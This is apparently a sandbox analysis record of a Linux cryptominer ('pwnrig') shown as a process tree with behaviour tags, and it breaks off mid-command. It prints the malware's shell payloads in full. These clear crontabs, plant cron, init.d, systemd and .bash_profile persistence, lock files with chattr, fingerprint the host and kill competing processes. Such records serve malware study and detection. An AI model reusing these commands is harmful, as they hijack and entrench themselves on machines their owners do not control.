/usr/bin/rmrm -rf -- klibsystem53⤵PID:1692
-
-
-
/usr/bin/chattrchattr +ia /etc/systemd/system/knlibe.service2⤵PID:1693
-
-
/usr/bin/systemctlsystemctl daemon-reload2⤵
- Reads runtime system information
PID:1694
-
-
/usr/bin/systemctlsystemctl enable knlibe.service2⤵PID:1756
-
-
/usr/bin/chattrchattr +ia /bin/knlib52⤵PID:1790
-
-
/usr/bin/crontabcrontab -r2⤵PID:1795
-
-
/usr/bin/pkillpkill -f .klibsystem52⤵PID:1803
-
-
/usr/bin/pkillpkill -f .klibsystem42⤵PID:1812
-
-
/usr/bin/bashbash -c "echo \"* * * * * /home/.klibsystem5 >/dev/null 2>&1\" | crontab -"2⤵PID:1813
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1815
-
-
-
/usr/bin/chattrchattr +ia /etc/cron.d/.lib-knlib42⤵PID:1816
-
-
/usr/bin/chattrchattr +ia /var/spool/cron/.lib-knlib42⤵PID:1817
-
-
/usr/bin/chattrchattr +ia /etc/cron.hourly/.lib-knlib42⤵PID:1818
-
-
/usr/bin/chattrchattr +ia /etc/cron.daily/.lib-knlib42⤵PID:1819
-
-
/usr/bin/chattrchattr +ia /etc/cron.weekly/.lib-knlib42⤵PID:1820
-
-
/usr/bin/chattrchattr +ia /etc/cron.monthly/.lib-knlib42⤵PID:1821
-
-
/usr/bin/chattrchattr -ia /etc/anacrontab2⤵PID:1822
-
-
/usr/bin/chattrchattr +ia /etc/anacrontab2⤵PID:1823
-
-
/tmp/sys-helper/tmp/sys-helper2⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:1824
-
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn2⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
PID:1828 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""3⤵
- Attempts to change immutable files
PID:1837 -
/usr/bin/whoamiwhoami4⤵PID:1848
-
-
/usr/bin/hostnamehostname4⤵PID:1849
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo4⤵
- Checks CPU configuration
PID:1850
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵PID:1866
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"4⤵PID:1868
-
-
/usr/bin/psps -A "-ostat,ppid"4⤵PID:1867
-
-
/usr/bin/idid -u4⤵PID:1870
-
-
/usr/bin/grepgrep -v grep4⤵PID:1873
-
-
/usr/bin/grepgrep /etc/cron4⤵PID:1872
-
-
/usr/bin/psps x4⤵
- Reads runtime system information
PID:1871
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/service-agent';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"3⤵
- Writes file to tmp directory
PID:1875 -
/usr/bin/idid -u4⤵PID:1876
-
-
/usr/bin/idid -u4⤵PID:1877
-
-
/usr/bin/chattrchattr -i -a /bin/bprofr "~/.bash_profile"4⤵PID:1878
-
-
/usr/bin/rmrm -rf /bin/bprofr4⤵PID:1879
-
-
/usr/bin/sedsed -i /bprofr/d "~/.bash_profile"4⤵PID:1880
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/bprofr4⤵
- Writes file to system bin folder
PID:1881
-
-
/usr/bin/id4⤵PID:1882
-
-
/usr/bin/chattr4⤵PID:1883
-
-
/usr/bin/mkdir4⤵PID:1884
-
-
/usr/bin/chattr4⤵PID:1885
-
-
/usr/bin/rm4⤵PID:1886
-
-
/usr/bin/cp4⤵
- Writes file to system bin folder
PID:1887
-
-
/usr/bin/tee4⤵
- Creates/modifies Cron job
PID:1889
-
-
/usr/bin/sed4⤵
- Creates/modifies Cron job
PID:1890
-
-
/usr/bin/chmod4⤵PID:1891
-
-
/usr/bin/chattr4⤵PID:1892
-
-
/usr/bin/which4⤵PID:1893
-
-
/usr/bin/which4⤵PID:1894
-
-
/usr/bin/chattr4⤵PID:1895
-
-
/usr/sbin/update-rc.d4⤵PID:1896
-
-
/usr/sbin/update-rc.d4⤵PID:1897
-
/usr/local/sbin/systemctl5⤵PID:1898
-
-
/usr/local/bin/systemctl5⤵PID:1898
-
-
/usr/sbin/systemctl5⤵PID:1898
-
-
/usr/bin/systemctl5⤵PID:1898
-
-
-
/usr/bin/rm4⤵PID:1924
-
-
/usr/bin/cp4⤵
- Writes file to system bin folder
PID:1925
-
-
/usr/bin/tee4⤵
- Modifies init.d
PID:1927
-
-
/usr/bin/sed4⤵
- Modifies init.d
PID:1928
-
-
/usr/bin/chmod4⤵PID:1929
-
-
/usr/sbin/update-rc.d4⤵PID:1930
-
/usr/local/sbin/systemctl5⤵PID:1931
-
-
/usr/local/bin/systemctl5⤵PID:1931
-
-
/usr/sbin/systemctl5⤵PID:1931
-
-
/usr/bin/systemctl5⤵
- Reads EFI boot settings
PID:1931
-
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig enable4⤵PID:1957
-
/usr/local/sbin/systemctlsystemctl --quiet enable pwnrig5⤵PID:1958
-
-
/usr/local/bin/systemctlsystemctl --quiet enable pwnrig5⤵PID:1958
-
-
/usr/sbin/systemctlsystemctl --quiet enable pwnrig5⤵PID:1958
-
-
/usr/bin/systemctlsystemctl --quiet enable pwnrig5⤵
- Reads EFI boot settings
PID:1958
-
-
/usr/local/sbin/systemctlsystemctl daemon-reload5⤵PID:1959
-
-
/usr/local/bin/systemctlsystemctl daemon-reload5⤵PID:1959
-
-
/usr/sbin/systemctlsystemctl daemon-reload5⤵PID:1959
-
-
/usr/bin/systemctlsystemctl daemon-reload5⤵
- Reads EFI boot settings
PID:1959
-
-
-
/usr/bin/chattrchattr +i +a /etc/init.d/pwnrig /bin/initdr4⤵PID:1985
-
-
/usr/bin/whichwhich systemctl4⤵PID:1986
-
-
/usr/bin/chattrchattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr4⤵
- Attempts to change immutable files
PID:1987
-
-
/usr/bin/rmrm -rf /bin/sysdr4⤵PID:1988
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/sysdr4⤵
- Writes file to system bin folder
PID:1989
-
-
/usr/bin/teetee /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service4⤵
- Modifies systemd
PID:1991
-
-
/usr/bin/sedsed -i "1 s/-e //" /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service4⤵
- Attempts to change immutable files
PID:1992
-
-
/usr/bin/chattrchattr +i +a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr4⤵PID:1993
-
-
/usr/bin/systemctlsystemctl enable pwnrige.service4⤵
- Reads EFI boot settings
PID:1994
-
-
/usr/bin/systemctlsystemctl enable pwnrigl.service4⤵
- Reads EFI boot settings
PID:2021
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
PID:2047
-
-
/usr/bin/systemctlsystemctl reload-or-restart pwnrige.service4⤵
- Reads EFI boot settings
PID:2073
-
-
-
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d2⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
PID:2130 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""3⤵PID:2154
-
/usr/bin/whoamiwhoami4⤵PID:2165
-
-
/usr/bin/hostnamehostname4⤵PID:2166
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo4⤵
- Checks CPU configuration
PID:2167
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵PID:2183
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"4⤵PID:2185
-
-
/usr/bin/psps -A "-ostat,ppid"4⤵PID:2184
-
-
/usr/bin/idid -u4⤵PID:2187
-
-
/usr/bin/grepgrep -v grep4⤵PID:2190
-
-
/usr/bin/grepgrep /etc/cron4⤵PID:2189
-
-
/usr/bin/psps x4⤵PID:2188
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵PID:2192
-
/usr/bin/idid -u4⤵PID:2193
-
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"4⤵PID:2198
-
-
/usr/bin/grepgrep -v /usr/sbin/httpd4⤵PID:2197
-
-
/usr/bin/grepgrep -v -- "-bash[[:space:]]*\$"4⤵PID:2196
-
-
/usr/bin/grepgrep -v grep4⤵PID:2195
-
-
/usr/bin/psps aux4⤵
- Reads CPU attributes
- Reads runtime system information
PID:2194
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"3⤵PID:2200
-
/usr/bin/idid -u4⤵PID:2201
-
-
-
-
/usr/bin/crontabcrontab -r2⤵PID:2827
-
-
/usr/bin/pkillpkill -f .klibsystem52⤵PID:2828
-
-
/usr/bin/pkillpkill -f .klibsystem42⤵
- Reads CPU attributes
PID:2829
-
-
/usr/bin/bashbash -c "echo \"* * * * * /home/.klibsystem5 >/dev/null 2>&1\" | crontab -"2⤵PID:2830
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:2832
-
-
-
/tmp/sys-helper/tmp/sys-helper2⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:2833
-
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn2⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
PID:2834 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""3⤵PID:2835
-
/usr/bin/whoamiwhoami4⤵PID:2846
-
-
/usr/bin/hostnamehostname4⤵PID:2847
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo4⤵
- Checks CPU configuration
PID:2848
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵PID:2864
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"4⤵PID:2866
-
-
/usr/bin/psps -A "-ostat,ppid"4⤵
- Reads CPU attributes
PID:2865
-
-
/usr/bin/idid -u4⤵PID:2868
-
-
/usr/bin/grepgrep -v grep4⤵PID:2871
-
-
/usr/bin/grepgrep /etc/cron4⤵PID:2870
-
-
/usr/bin/psps x4⤵
- Reads runtime system information
PID:2869
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/service-agent';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 